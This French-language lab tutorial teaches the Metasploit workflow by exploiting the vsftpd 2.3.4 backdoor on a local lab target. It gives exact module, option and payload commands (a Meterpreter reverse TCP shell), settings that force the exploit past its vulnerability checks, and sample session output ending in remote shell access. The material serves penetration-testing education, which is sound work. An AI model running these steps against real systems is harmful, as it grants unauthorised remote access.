Introduction
Bienvenue dans le monde des tests d'intrusion avec Metasploit ! Le framework Metasploit est un outil open-source puissant utilisé par les professionnels de la cybersécurité pour détecter les vulnérabilités sur les réseaux et les serveurs.
Dans ce laboratoire, vous allez découvrir un exploit classique et simple. Nous avons mis en place un environnement simulé où un serveur exécute une version vulnérable de VSFTPD (Very Secure FTP Daemon), plus précisément la version 2.3.4. Cette version particulière contient une porte dérobée bien connue qui a été secrètement ajoutée à son code source.
Votre objectif est d'utiliser la console Metasploit (msfconsole) pour trouver, configurer et lancer un exploit contre ce service afin d'obtenir un shell de commande sur le système cible. Cet exercice pratique vous enseignera le flux de travail fondamental de l'utilisation de Metasploit pour l'exécution d'un exploit simple.
Commençons !
Sélectionner l'exploit du service vulnérable avec use exploit/unix/ftp/vsftpd_234_backdoor
Dans cette étape, vous allez lancer la console Metasploit et sélectionner le module d'exploit approprié pour la porte dérobée de VSFTPD 2.3.4. La msfconsole est l'interface principale du framework Metasploit.
Tout d'abord, démarrez la console Metasploit. Nous utiliserons l'option -q (quiet) pour ignorer la bannière et démarrer plus rapidement.
msfconsole -q
Une fois la console chargée, votre invite de commande passera à msf >. Maintenant, vous devez indiquer à Metasploit quel exploit vous souhaitez utiliser. La commande use charge un module spécifique. Le module pour la porte dérobée de VSFTPD 2.3.4 se trouve à l'emplacement exploit/unix/ftp/vsftpd_234_backdoor.
Exécutez la commande suivante dans la console Metasploit :
use exploit/unix/ftp/vsftpd_234_backdoor
Après avoir exécuté la commande, vous remarquerez que votre invite de commande change pour inclure le nom du module d'exploit sélectionné. Cela indique que le module est maintenant actif et prêt à être configuré.
Selon votre version de Metasploit, un payload par défaut peut être sélectionné automatiquement (par exemple cmd/linux/http/x86/meterpreter_reverse_tcp). Ce payload nécessite deux paramètres :
- LHOST - L'adresse IP où Metasploit écoute la connexion inverse. Utilisez
127.0.0.1pour ce laboratoire :
set LHOST 127.0.0.1
- Encoder - L'encodeur par défaut peut échouer avec le message "All encoders failed to encode." Définissez l'encodeur sur
generic/nonepour éviter l'encodage :
set Encoder generic/none
Définir l'IP cible avec set RHOSTS target_ip
Dans cette étape, vous allez configurer l'exploit en définissant l'adresse IP de l'hôte cible. La plupart des modules Metasploit nécessitent que vous spécifiiez une cible. L'option pour le(s) hôte(s) distant(s) cible(s) est RHOSTS.
Comme le service FTP vulnérable s'exécute sur la même machine que celle que vous utilisez (notre environnement de laboratoire), vous pouvez utiliser l'adresse IP de bouclage (loopback), qui est 127.0.0.1.
Pour définir cette option, utilisez la commande set suivie du nom de l'option (RHOSTS) et de sa valeur (127.0.0.1).
Entrez la commande suivante dans votre msfconsole :
set RHOSTS 127.0.0.1
Metasploit confirmera le paramètre en affichant l'option et sa nouvelle valeur.
RHOSTS => 127.0.0.1
Vous avez maintenant indiqué à Metasploit où diriger l'attaque.
Vérifier les options de l'exploit avec show options
Dans cette étape, vous allez vérifier que toutes les options requises pour l'exploit sont correctement définies avant de le lancer. C'est une bonne pratique essentielle pour garantir que votre exploit est configuré correctement.
La commande show options affiche toutes les options configurables pour le module actuellement chargé, leurs paramètres actuels et si elles sont obligatoires.
Exécutez la commande suivante dans votre msfconsole :
show options
Vous verrez un tableau listant les options du module et les options du payload.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
Observez la sortie. Assurez-vous que RHOSTS est 127.0.0.1 et que LHOST est 127.0.0.1. Le RPORT est 21 (FTP). Une fois toutes les options requises définies, vous êtes prêt à continuer.
Exécuter l'exploit avec la commande exploit
Maintenant que l'exploit est configuré, vous allez l'exécuter contre la cible. La commande exploit (qui peut être raccourcie en run) lance l'attaque en fonction du module et des paramètres actuels.
Exécutez l'exploit en tapant la commande suivante et en appuyant sur Entrée :
exploit
DÉPANNAGE : Si vous voyez
Msf::OptionValidateError One or more options failed to validate: LHOST, exécutezset LHOST 127.0.0.1. Si vous voyezAll encoders failed to encode, exécutezset Encoder generic/nonepour désactiver l'encodage. Si vous voyezExploit aborted due to failure: not-vulnerableouThe target is not exploitable, exécutezset ForceExploit true(ouset AutoCheck false). Ensuite, exécutez à nouveauexploit.
AVERTISSEMENT : La première tentative peut échouer avec "Unable to connect to backdoor on 6200/TCP. Cooldown?" ou "Exploit completed, but no session was created." Si cela se produit, exécutez simplement la commande
exploità nouveau - la deuxième tentative devrait réussir.
Metasploit va maintenant tenter d'exploiter la porte dérobée. Vous verrez une sortie détaillant les étapes de l'attaque. Si elle réussit, elle déclenchera la porte dérobée et ouvrira une session Meterpreter.
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
Important : Une fois l'exploit réussi, vous serez placé dans une invite Meterpreter. C'est la preuve d'un accès à distance réussi ! Vous pouvez exécuter shell pour obtenir un shell de commande interactif, puis exécuter whoami ou id pour confirmer que vous avez accès :
shell
Process 1234 created.
Channel 1 created.
whoami
labex
Félicitations, vous avez réussi à obtenir un accès à distance !
Vérifier la session avec sessions -l
Dans cette étape, vous apprendrez à gérer la connexion active, ou "session", que vous venez d'ouvrir. Metasploit vous permet d'avoir plusieurs sessions ouvertes simultanément et de basculer entre elles.
Tout d'abord, pour revenir à l'invite msfconsole sans fermer votre session, vous devez la mettre en arrière-plan. Appuyez sur Ctrl+Z sur votre clavier. Si vous êtes dans un shell (après avoir exécuté shell), tapez y pour mettre le canal en arrière-plan - vous reviendrez à meterpreter >. Appuyez à nouveau sur Ctrl+Z et tapez y lorsque vous y êtes invité pour mettre la session en arrière-plan :
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) >
La commande sessions ne fonctionne qu'à l'invite principale de Metasploit (msf exploit(...) >), pas à l'intérieur de Meterpreter. Vous êtes maintenant de retour à l'invite principale de Metasploit. Pour voir une liste de toutes vos sessions actives, utilisez la commande sessions avec l'option -l (list).
sessions -l
Cela affichera un tableau de toutes les sessions en arrière-plan, incluant leur ID, leur type et les informations de connexion.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
Vous pouvez voir votre session listée avec un ID de 1. Si vous vouliez interagir à nouveau avec elle, vous utiliseriez la commande sessions -i 1. Cette gestion de session est une fonctionnalité clé de Metasploit.
Résumé
Félicitations ! Vous avez terminé avec succès ce laboratoire et effectué votre premier exploit en utilisant le framework Metasploit.
Dans ce laboratoire, vous avez appris le flux de travail fondamental d'un test d'intrusion avec Metasploit :
- Démarrer la console Metasploit (
msfconsole). - Sélectionner un module d'exploit spécifique avec la commande
use. - Configurer la cible du module avec la commande
set. - Vérifier la configuration avec
show options. - Lancer l'attaque en utilisant la commande
exploit. - Gérer la connexion résultante en utilisant
sessions.
Ce modèle de base "sélectionner, configurer, exploiter" est le fondement de presque toutes les activités que vous effectuerez au sein de Metasploit. Vous disposez désormais des connaissances essentielles pour explorer des exploits et des payloads plus complexes.



